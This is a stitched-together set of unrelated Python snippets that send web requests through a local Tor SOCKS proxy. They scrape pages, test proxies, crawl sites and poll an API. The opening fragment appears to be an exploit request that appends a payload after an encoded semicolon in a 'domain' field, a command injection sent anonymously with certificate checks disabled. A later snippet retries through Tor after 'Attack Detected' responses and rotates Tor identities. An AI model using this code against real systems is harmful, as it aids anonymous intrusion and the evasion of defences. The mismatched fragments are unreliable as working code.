body = "url=aHR0cDovL3d3dy5leGFtcGxlLmNvbQ%3d%3d"
body += "&args_reason=something_different_than_filetypewarn&filetype=dummy&user=buffalo"
body += "&user_encoded=YnVmZmFsbw%3d%3d&domain=http%3a%2f%2fexample.com%3b"
body += payload
body += "&raw_category_id=one%7ctwo%7cthree%7cfour"
session = requesocks.session()
session.proxies = {
'http': 'socks5://127.0.0.1:9050',
'https': 'socks5://127.0.0.1:9050'
}
session.post(url, data=body, verify=False)
def getip_requesocks(url):
try:
print "(+) Sending request with requesocks..."
session = requesocks.session()
session.proxies = {
'http': 'socks5://127.0.0.1:9050',
'https': 'socks5://127.0.0.1:9050'
}
r = session.get(url, timeout=30)
print "(+) tor_IP is: " + r.text.replace("\n", "")
return r.text.replace("\n", "")
except Exception, e:
print Exception, e
return -1
def get_page(url):
"""
Get the content of the url by using BeautifulSoup
"""
try:
session = requesocks.session()
session.proxies = {
'http': 'socks5://127.0.0.1:9050',
'https': 'socks5://127.0.0.1:9050'
}
response = session.get(url, timeout=5)
return bs4.BeautifulSoup(response.text)
except Exception, e:
return get_page(url)
def get_pages(self, sleep_time, proxy=False):
# have to run tor before the proxy option will work
self.html_content[self.city_state] = []
if proxy == True:
session = requesocks.session()
session.proxies = self.session_proxies
for url in self.urls:
time.sleep(sleep_time)
response = session.get(url, headers=self.request_params)
self.html_content[self.city_state].append(response.content)
else: # the default is no proxy
for url in self.urls:
time.sleep(sleep_time)
response = requests.get(url, headers=self.request_params)
self.html_content[self.city_state].append(response.content)
def tor_request(url, num_iter=3):
sessions = requesocks.session()
sessions.proxies = {
'http': 'socks5://localhost:9050',
'https': 'socks5://localhost:9050'
}
try:
with Controller.from_port(port=9051) as controller:
controller.authenticate()
for i in range(num_iter):
s = sessions.get(BASE_URL)
if s.status_code == 200:
_parse_and_print_response(s)
controller.signal(Signal.NEWNYM)
time.sleep(2)
print("- refresh -")
except SocketError, e:
print(e, '\nPlease start Tor first.')
def testSocks5(proxyHost, urlType):
start_time = time.time()
global timeoutTime
#print "Testing socks proxy: http://"+proxyHost
import socks
import socket
import urllib2
hostNo = proxyHost.split(":")[0]
portNo = proxyHost.split(":")[1]
proxyTypeList = []
proxyTypeList.append("socks5")
for proxyType in proxyTypeList:
session = requesocks.session()
session.timeout = timeoutTime
if proxyType == "socks5":
if urlType == "https":
urlPosition = urlList[0]
session.proxies = {
'https': 'socks5://' + hostNo + ':' + portNo
}
else:
urlPosition = urlList[1]
session.proxies = {'http': 'socks5://' + hostNo + ':' + portNo}
try:
url = urlPosition[0]
urlTitle = urlPosition[1]
r = session.get(url)
statusCode = str(r.status_code)
if statusCode == "200":
result = ((proxyHost, "", proxyType))
resultList.append(result)
if proxyType == "socks5":
end_time = time.time() - start_time
return proxyHost + "\tsocks5\t200\t" + str(end_time)
else:
return proxyHost + "\t" + proxyType + "\t" + statusCode
except Exception as e:
return proxyHost + "\t" + proxyType + "\t503"
def Worker(task, useTOR=False):
bytesRead=0
httpCodes=[0]*5
urlList=[]
start=time()
errors=0
if useTOR:
import requesocks
session=requesocks.session()
session.proxies={ "http" : "socks5://127.0.0.1:9050",
"https" : "socks5://127.0.0.1:9050"}
else:
session=requests.Session()
for t in task:
urls=[]
host=t[0]
for path in t[1]:
url="http://"+host+path
try:
if useTOR:
r=session.get(url, timeout=3.0, prefetch=False, allow_redirects=True)
else:
r=session.get(url, timeout=3.0, stream=True, allow_redirects=True)
except Exception as ex:
errors+=1
break
httpCodes[(r.status_code/100)-1]+=1
if r.status_code!=200 or not ValidResponse(r):
errors+=1
continue
try:
size, urls=ReadResponse(r, host)
except:
errors+=1
continue
bytesRead+=size
urlList.extend(urls)
return urlList, float("%.2f" % (time()-start)), bytesRead, errors, httpCodes, useTOR
def realiza_peticion(key, id_candidato, tor=False, timeout=2):
"""Realiza una peticion a una de las apis. Devuelve la
respuesta (json) como un diccionario"""
payload = genera_mensaje(id_candidato)
url = _dic_urls[key]
kargs = {
"data": json.dumps(payload),
"headers": _headers,
"timeout": timeout
}
while True:
try:
if tor is True:
tor_req = req_socks.session()
tor_req.proxies = _tor_proxies
r = tor_req.post(url, **kargs)
else:
r = req.post(url, **kargs)
except req.exceptions.Timeout:
imprime("Timeout error")
continue
except req.exceptions.ConnectionError as error:
errno = error.errno
err_msg = "ConnectionError"
if errno == 101:
err_msg += (": Esta conectado a internet?")
imprime(err_msg)
time.sleep(0.5)
continue
except Exception as e:
imprime("Excepcion: " + str(e))
time.sleep(0.5)
continue
else:
if r.text.find("Attack Detected") != -1:
imprime(r.text)
imprime("Ataque detectado!! A dormir")
time.sleep(60)
continue
if hasattr(r, 'json'):
return r.json()
else:
return json.loads(r.content)
